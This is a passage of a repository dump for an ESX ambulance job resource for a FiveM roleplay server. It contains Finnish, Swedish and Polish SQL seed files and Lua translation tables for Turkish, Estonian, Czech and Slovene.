34 | -------------------------------------------------------------------------------- /localization/fi_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'Ensihoito', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'Ensihoito', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'Ensihoito', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Ensihoitaja',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Lääkäri',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Yli-lääkäri',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Kirurgi',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','Ensihoito') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Sideharso', 2), 28 | ('medikit','Ensiapupakkaus', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /localization/sv_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'Sjukvård', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'Sjukvård', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'Sjukvård', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Undersköterska',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Ambulanssjuksköterska',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Läkare',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Överläkare',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','Sjukvårdare') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Bandage', 2), 28 | ('medikit','Akutväska', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /localization/pl_esx_ambulancejob.sql: -------------------------------------------------------------------------------- 1 | 2 | 3 | INSERT INTO `addon_account` (name, label, shared) VALUES 4 | ('society_ambulance', 'Ambulance', 1) 5 | ; 6 | 7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES 8 | ('society_ambulance', 'Ambulance', 1) 9 | ; 10 | 11 | INSERT INTO `datastore` (name, label, shared) VALUES 12 | ('society_ambulance', 'Pogotowie ratunkowe', 1) 13 | ; 14 | 15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES 16 | ('ambulance',0,'ambulance','Ratownik',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 17 | ('ambulance',1,'doctor','Lekarz',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 18 | ('ambulance',2,'chief_doctor','Chirurg',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'), 19 | ('ambulance',3,'boss','Ordynator',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}') 20 | ; 21 | 22 | INSERT INTO `jobs` (name, label) VALUES 23 | ('ambulance','Pogotowie ratunkowe') 24 | ; 25 | 26 | INSERT INTO `items` (name, label, weight) VALUES 27 | ('bandage','Bandaż', 2), 28 | ('medikit','Defibrylator', 2) 29 | ; 30 | 31 | ALTER TABLE `users` 32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0' 33 | ; 34 | -------------------------------------------------------------------------------- /locales/tr.lua: -------------------------------------------------------------------------------- 1 | Locales['tr'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'soyunma Odası', 4 | ['ems_clothes_civil'] = 'sivil Kıyafetler', 5 | ['ems_clothes_ems'] = 'acil Servis Kıyafetleri', 6 | -- Vehicles 7 | ['ambulance'] = 'medikal', 8 | ['helicopter_prompt'] = 'Helikopter için [E] tuşuna basın.', 9 | ['garage_prompt'] = 'Araba Garajı için [E] tuşuna basın', 10 | ['garage_title'] = 'araba Garajı', 11 | ['garage_stored'] = 'garaja koyuldu', 12 | ['garage_notstored'] = 'garajda değil', 13 | ['garage_storing'] = 'arabayı çıkarmaya çalışıyoruz, etrafta oyuncu olmadığından emin olun.', 14 | ['garage_has_stored'] = 'araba garaja koyuldu', 15 | ['garage_has_notstored'] = 'yakında sahibi olunan araba yok', 16 | ['garage_notavailable'] = 'araba garajda değil', 17 | ['garage_blocked'] = 'kullanılabilir spawn noktası yok!', 18 | ['garage_empty'] = 'garajda araba yok', 19 | ['garage_released'] = 'arabanız garajdan çıkarıldı.', 20 | ['garage_store_nearby'] = 'yakınlarda araba yok', 21 | ['garage_storeditem'] = 'garajdaki arabalar', 22 | ['garage_storeitem'] = 'arabayı garaja koy', 23 | ['garage_buyitem'] = 'araba galerisi', 24 | ['shop_item'] = '%s TL', 25 | ['vehicleshop_title'] = 'araba Galerisi', 26 | ['vehicleshop_confirm'] = 'bu arabayı almak istiyor musun?', 27 | ['vehicleshop_bought'] = '%s liraya %s alındı', 28 | ['vehicleshop_money'] = 'bu araca paranız yetmiyor', 29 | ['vehicleshop_awaiting_model'] = 'bu araba şuanda İNDİRME & YÜKLEME yapıyor', 30 | ['confirm_no'] = 'hayır', 31 | ['confirm_yes'] = 'evet', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'Canlanma sürüyor!', 34 | ['revive_complete'] = '%s canlandırıldı', 35 | ['revive_complete_award'] = '%s canlandırıldın ve $%s kazandın!', 36 | ['revive_fail_offline'] = 'bu oyuncu artık online değil', 37 | ['heal_inprogress'] = 'iyileştiriliyorsun!', 38 | ['heal_complete'] = '%s iyileştirildi', 39 | ['no_players'] = 'yakınlarda oyuncu yok', 40 | ['player_not_unconscious'] = 'bu oyuncunun bilinci yerinde!', 41 | ['player_not_conscious'] = 'bu oyuncunun bilinci yerinde değil!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'baş Hekim', 44 | -- Misc 45 | ['invalid_amount'] = ' miktar', 46 | ['actions_prompt'] = 'Kıyafet Değiştirmek için [E] tuşuna basın.', 47 | ['deposit_amount'] = 'bırakılacak miktar', 48 | ['money_withdraw'] = 'alınacak miktar', 49 | ['fast_travel'] = '[E] tuşuna basarak hızlı yolculuk edebilirsiniz.', 50 | ['open_pharmacy'] = 'Eczane için [E] tuşuna basın.', 51 | ['pharmacy_menu_title'] = 'eczane', 52 | ['pharmacy_take'] = 'al %s', 53 | ['medikit'] = 'sağlık kiti', 54 | ['bandage'] = 'bandaj', 55 | ['max_item'] = 'zaten yeterince üzerinde var', 56 | -- F6 Menu 57 | ['ems_menu'] = 'EMS Menu', 58 | ['ems_menu_title'] = 'medikal - EMS Menu', 59 | ['ems_menu_revive'] = 'oyuncuyu Canlandır', 60 | ['ems_menu_putincar'] = 'araca koy', 61 | ['ems_menu_small'] = 'küçük yaraları tedavi et', 62 | ['ems_menu_big'] = 'ciddi yaraları tedavi et', 63 | -- Phone 64 | ['alert_ambulance'] = 'hastane Acil Durum', 65 | -- Death 66 | ['respawn_available_in'] = 'yeniden canlanmana %s dakika %s saniye kaldı', 67 | ['respawn_bleedout_in'] = 'kanama %s dakika %s saniye boyunca devam edecek\n', 68 | ['respawn_bleedout_prompt'] = 'yeniden canlanma için [E] basılı tut', 69 | ['respawn_bleedout_fine'] = '%s lira karşılığında canlanma için [E] basılı tut', 70 | ['respawn_bleedout_fine_msg'] = 'yeniden doğmak için %s ödediniz.', 71 | ['distress_send'] = 'acile sinyal göndermek için [G] basın', 72 | ['distress_sent'] = 'acil durum sinyali gönderildi!', 73 | ['revive_help'] = 'oyuncuyu canlandır', 74 | -- Item 75 | ['used_medikit'] = '1x sağlık kiti kullanıldı.', 76 | ['used_bandage'] = '1x bandaj kullanıldı.', 77 | ['not_enough_medikit'] = ' sağlık kiti yok.', 78 | ['not_enough_bandage'] = ' bandaj. yok', 79 | ['healed'] = 'tedavi görüldü.', 80 | -- Blips 81 | ['blip_hospital'] = 'hastane', 82 | ['blip_dead'] = 'bilinci kapalı oyuncu', 83 | } 84 | -------------------------------------------------------------------------------- /locales/et.lua: -------------------------------------------------------------------------------- 1 | Locales['et'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Riidekapp', 4 | ['ems_clothes_civil'] = 'Tsiviili riided', 5 | ['ems_clothes_ems'] = 'Kiirabi riided', 6 | -- Vehicles 7 | ['ambulance'] = 'Kiirabi', 8 | ['helicopter_prompt'] = 'Vajuta [E], et avada helikopteri garaaž.', 9 | ['garage_prompt'] = 'Vajuta [E], et vaadata sõiduki tegevusi.', 10 | ['garage_title'] = 'Sõiduki tegevus', 11 | ['garage_stored'] = 'Pargitud', 12 | ['garage_notstored'] = 'Pole garaažis', 13 | ['garage_storing'] = 'Proovime eemaldada sõidukit, veenduge, et kedagi poleks ligiduses.', 14 | ['garage_has_stored'] = 'Sõiduk on pargitud teie garaaži', 15 | ['garage_has_notstored'] = 'Teie ligiduses pole ühtegi teie sõidukit', 16 | ['garage_notavailable'] = 'Teie sõiduk pole garaažis.', 17 | ['garage_blocked'] = 'Sõiduki jaoks pole siin ruumi!', 18 | ['garage_empty'] = 'Sul pole ühtegi sõidukit garaažis.', 19 | ['garage_released'] = 'Teie sõiduk on juba garaažist välja võetud.', 20 | ['garage_store_nearby'] = 'Ühtegi sõidukit pole ligiduses.', 21 | ['garage_storeditem'] = 'Ava garaaž', 22 | ['garage_storeitem'] = 'Pargi sõiduk garaaži', 23 | ['garage_buyitem'] = 'Auto pood', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'Auto pood', 26 | ['vehicleshop_confirm'] = 'Soovid osta seda sõidukit?', 27 | ['vehicleshop_bought'] = 'Sa ostsid %s $%s eest', 28 | ['vehicleshop_money'] = 'Sa ei saa lubada seda sõidukit endale', 29 | ['vehicleshop_awaiting_model'] = 'Sõidukit hetkel laetakse', 30 | ['confirm_no'] = 'Ei', 31 | ['confirm_yes'] = 'Jah', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'Elustamine pooleli!', 34 | ['revive_complete'] = 'Sa elustasid %s', 35 | ['revive_complete_award'] = 'Sa elustasid %s ja teenisid $%s!', 36 | ['revive_fail_offline'] = 'Isik pole enam linnas', 37 | ['heal_inprogress'] = 'Sa paraned!', 38 | ['heal_complete'] = 'Sa ravisid %s', 39 | ['no_players'] = 'Isikuid pole läheduses', 40 | ['player_not_unconscious'] = 'See isik pole teadvuseta!', 41 | ['player_not_conscious'] = 'See isik pole teadvusel!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'Boss menüü', 44 | -- Misc 45 | ['invalid_amount'] = 'Vale kogus', 46 | ['actions_prompt'] = 'Vajuta [E], et avada kiirabi tegevused.', 47 | ['deposit_amount'] = 'Pane firmaarvele raha', 48 | ['money_withdraw'] = 'Võta firmaarvelt raha', 49 | ['fast_travel'] = 'press [E] to fast travel.', 50 | ['open_pharmacy'] = 'Vajuta [E], et avada apteek.', 51 | ['pharmacy_menu_title'] = 'Apteek', 52 | ['pharmacy_take'] = 'Võta %s', 53 | ['medikit'] = 'Esmaabikarp', 54 | ['bandage'] = 'Sidemed', 55 | ['max_item'] = 'Sa kannad piisavalt juba.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'Kiirabi', 58 | ['ems_menu_title'] = 'Kiirabi', 59 | ['ems_menu_revive'] = 'Elusta isikut', 60 | ['ems_menu_putincar'] = 'Pane sõidukisse', 61 | ['ems_menu_small'] = 'Ravi väikseid haavi', 62 | ['ems_menu_big'] = 'Ravi tõsiseid haavu', 63 | ['ems_menu_search'] = 'Patsienti ei leitud', 64 | -- Phone 65 | ['alert_ambulance'] = 'Kiirabi teadaanded', 66 | -- Death 67 | ['respawn_available_in'] = 'Sul on võimalik haiglas ärgata %s minuti ka %s sekundi pärast', 68 | ['respawn_bleedout_in'] = 'Sa jooksed verest tühjak %s minuti ja %s sekundi pärast\n', 69 | ['respawn_bleedout_prompt'] = 'Hoia [E] tähte all, et ärgata haiglas', 70 | ['respawn_bleedout_fine'] = 'Hoia [E] tähte all, et ärgata haiglas $%s eest', 71 | ['respawn_bleedout_fine_msg'] = 'Sa maksid $%s, et ärgata haiglas.', 72 | ['distress_send'] = 'Vajuta [G] et saata abikutse kiirabile', 73 | ['distress_sent'] = 'Abikutse on saadetud kõikidele kiirabidele kes on linnas!', 74 | -- Revive 75 | ['revive_help'] = 'Elusta isikut', 76 | -- Item 77 | ['used_medikit'] = 'Sa kasutasid ära 1x esmaabikarbi', 78 | ['used_bandage'] = 'Sa kasutasid ära 1x sideme', 79 | ['not_enough_medikit'] = 'Sul pole esmaabikarpe.', 80 | ['not_enough_bandage'] = 'Sul pole sidemeid.', 81 | ['healed'] = 'Teid on ravitud.', 82 | -- Blips 83 | ['blip_hospital'] = 'Haigla', 84 | ['blip_dead'] = 'Vigastatud isik', 85 | } 86 | -------------------------------------------------------------------------------- /locales/cs.lua: -------------------------------------------------------------------------------- 1 | Locales['cs'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'šatna', 4 | ['ems_clothes_civil'] = 'civilní oblečení', 5 | ['ems_clothes_ems'] = 'zdravotnické oblečení', 6 | -- Vehicles 7 | ['ambulance'] = 'ambulance', 8 | ['helicopter_prompt'] = 'press [E] to access the Helicopter Actions.', 9 | ['garage_prompt'] = 'press [E] to access the Vehicle Actions.', 10 | ['garage_title'] = 'vehicle Actions', 11 | ['garage_stored'] = 'stored', 12 | ['garage_notstored'] = 'not in garage', 13 | ['garage_storing'] = 'we\'re attempting to remove the vehicle, make sure no players are around it.', 14 | ['garage_has_stored'] = 'the vehicle has been stored in your garage', 15 | ['garage_has_notstored'] = 'no nearby owned vehicles were found', 16 | ['garage_notavailable'] = 'your vehicle is not stored in the garage.', 17 | ['garage_blocked'] = 'there\'s no available spawn points!', 18 | ['garage_empty'] = 'you don\'t have any vehicles in your garage.', 19 | ['garage_released'] = 'your vehicle has been released from the garage.', 20 | ['garage_store_nearby'] = 'there is no nearby vehicles.', 21 | ['garage_storeditem'] = 'open garage', 22 | ['garage_storeitem'] = 'store vehicle in garage', 23 | ['garage_buyitem'] = 'vehicle shop', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'vehicle Shop', 26 | ['vehicleshop_confirm'] = 'do you want to buy this vehicle?', 27 | ['vehicleshop_bought'] = 'you have bought %s for $%s', 28 | ['vehicleshop_money'] = 'you cannot afford that vehicle', 29 | ['vehicleshop_awaiting_model'] = 'the vehicle is currently DOWNLOADING & LOADING please wait', 30 | ['confirm_no'] = 'no', 31 | ['confirm_yes'] = 'yes', 32 | -- Action Menu 33 | ['revive_inprogress'] = 'probíhá oživení!', 34 | ['revive_complete'] = 'oživili jste %s', 35 | ['revive_complete_award'] = 'oživili jste %s a dostali jste $%s!', 36 | ['revive_fail_offline'] = 'that player is no longer online', 37 | ['heal_inprogress'] = 'uzdravujete!', 38 | ['heal_complete'] = 'uzdravili jste %s', 39 | ['no_players'] = 'v okolí není žádný hráč!', 40 | ['player_not_unconscious'] = 'hráč není v bezvědomí!', 41 | ['player_not_conscious'] = 'hráč je v bezvědomí!', 42 | -- Boss Menu 43 | ['boss_actions'] = 'akce šéfa', 44 | -- Misc 45 | ['invalid_amount'] = ' ná částka', 46 | ['actions_prompt'] = 'press [E] access the Ambulance Actions.', 47 | ['deposit_amount'] = 'částka vkladu', 48 | ['money_withdraw'] = 'částka výběru', 49 | ['fast_travel'] = 'stiskněte [E] k rychlému odcestování.', 50 | ['open_pharmacy'] = 'stiskněte [E] k otevření lékárny.', 51 | ['pharmacy_menu_title'] = 'lékárna', 52 | ['pharmacy_take'] = 'vzít %s', 53 | ['medikit'] = 'lékarnička', 54 | ['bandage'] = 'obvaz', 55 | ['max_item'] = 'již nesete dostatek věcí.', 56 | -- F6 Menu 57 | ['ems_menu'] = 'Zdravotnické menu', 58 | ['ems_menu_title'] = 'záchranka - Zdravotnické menu', 59 | ['ems_menu_revive'] = 'oživit hráče', 60 | ['ems_menu_putincar'] = 'naložit do vozidla', 61 | ['ems_menu_small'] = 'ošetřit malé zranění', 62 | ['ems_menu_big'] = 'ošetřit vážné zranění', 63 | ['ems_menu_search'] = 'pacient nebyl nalezen', 64 | -- Phone 65 | ['alert_ambulance'] = 'zdravotnický poplach', 66 | -- Death 67 | ['respawn_available_in'] = 'oživení dostupné za %s minut a %s sekund\n', 68 | ['respawn_bleedout_in'] = 'vykrvácíte za %s minut a %s sekund\n', 69 | ['respawn_bleedout_prompt'] = 'držte [E] pro respawn.', 70 | ['respawn_now_fine'] = 'držte [E] pro oživení za $%s', 71 | ['respawn_bleedout_fine_msg'] = 'zaplatili jste $%s za respawn.', 72 | ['distress_send'] = 'stiskněte [G] pro vyslání tísňového signálu', 73 | ['distress_sent'] = 'tísňový signál byl vyslán dostupným jednotkám!', 74 | -- Revive 75 | ['revive_help'] = 'oživit hráče', 76 | -- Item 77 | ['used_medikit'] = 'použili jste 1x lékarničku', 78 | ['used_bandage'] = 'použili jste 1x obvaz', 79 | ['not_enough_medikit'] = 'nemáte medikit.', 80 | ['not_enough_bandage'] = 'nemáte bandage.', 81 | ['healed'] = 'byli jste ošetřeni.', 82 | -- Blips 83 | ['blip_hospital'] = 'nemocnice', 84 | ['blip_dead'] = 'unconscious player', 85 | } 86 | -------------------------------------------------------------------------------- /locales/si.lua: -------------------------------------------------------------------------------- 1 | Locales['si'] = { 2 | -- Cloakroom 3 | ['cloakroom'] = 'Garderoba', 4 | ['ems_clothes_civil'] = 'Civilna oblačila', 5 | ['ems_clothes_ems'] = 'oblačila EMS', 6 | -- vozila 7 | ['ambulance'] = 'Ambulanca', 8 | ['helicopter_prompt'] = 'Pritisnite [E] za dostop do akcij helikopterja.', 9 | ['garage_prompt'] = 'Pritisnite [E] za dostop do akcij vozila.', 10 | ['garage_title'] = 'Vehicle Actions', 11 | ['garage_stored'] = 'Shranjeno', 12 | ['garage_notstored'] = 'Ni v garaži', 13 | ['garage_storing'] = 'Poskušamo odstraniti vozilo, poskrbite, da v njegovi bližini ni igralcev.', 14 | ['garage_has_stored'] = 'Vozilo je bilo shranjeno v vaši garaži', 15 | ['garage_has_notstored'] = 'V bližini nismo našli nobenega vozila v lasti', 16 | ['garage_notavailable'] = 'Vaše vozilo ni shranjeno v garaži.', 17 | ['garage_blocked'] = 'Ni razpoložljivih točk za porod!', 18 | ['garage_empty'] = 'V garaži nimate nobenega vozila.', 19 | ['garage_released'] = 'Vaše vozilo je bilo izpuščeno iz garaže.', 20 | ['garage_store_nearby'] = 'V bližini ni vozil.', 21 | ['garage_storeditem'] = 'Odprta garaža', 22 | ['garage_storeitem'] = 'Vozilo shranite v garažo', 23 | ['garage_buyitem'] = 'Trgovina z vozili', 24 | ['shop_item'] = '$%s', 25 | ['vehicleshop_title'] = 'Yehicle Shop', 26 | ['vehicleshop_confirm'] = 'Yo you want to buy this vehicle?', 27 | ['vehicleshop_bought'] = "Kupili ste %s za $%s", 28 | ['vehicleshop_money'] = 'Tega vozila si ne morete privoščiti', 29 | ['vehicleshop_awaiting_model'] = 'Vozilo se trenutno PRENOSI in 